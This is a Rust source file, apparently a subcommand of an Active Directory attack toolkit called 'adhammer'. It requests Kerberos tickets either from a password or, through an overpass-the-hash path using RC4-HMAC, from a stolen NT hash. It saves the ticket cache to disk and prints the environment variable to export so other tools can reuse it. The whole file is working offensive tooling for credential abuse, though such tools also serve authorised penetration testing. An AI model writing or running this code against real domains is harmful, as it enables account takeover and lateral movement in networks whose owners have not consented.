use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct AsktgtArgs {
#[arg(long)]
pub user: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub kdc: String,
#[arg(long)]
pub password: Option<String>,
#[arg(long)]
pub nt_hash: Option<String>,
#[arg(long)]
pub out: Option<String>,
}
pub(crate) async fn asktgt(a: AsktgtArgs) -> Result<()> {
let ccache = match (&a.nt_hash, &a.password) {
(Some(h), None) => {
let nt = crate::parse_nt_hash(h)?;
println!("[*] overpass-the-hash (RC4-HMAC) for {}", a.user);
adhammer_kerberos::overpass_the_hash(&a.user, &a.realm, &a.kdc, &nt).await?
}
(None, Some(pw)) => adhammer_kerberos::asktgt(&a.user, &a.realm, &a.kdc, pw).await?,
_ => anyhow::bail!("provide exactly one of --password or --nt-hash"),
};
let out = a.out.unwrap_or_else(|| format!("{}.ccache", a.user));
std::fs::write(&out, &ccache)?;
println!(
"[+] TGT obtained for {} → {out} ({} bytes)",
a.user,
ccache.len()
);
println!(" export KRB5CCNAME={out} (use with Kerberos-aware tooling)");
Ok(())
}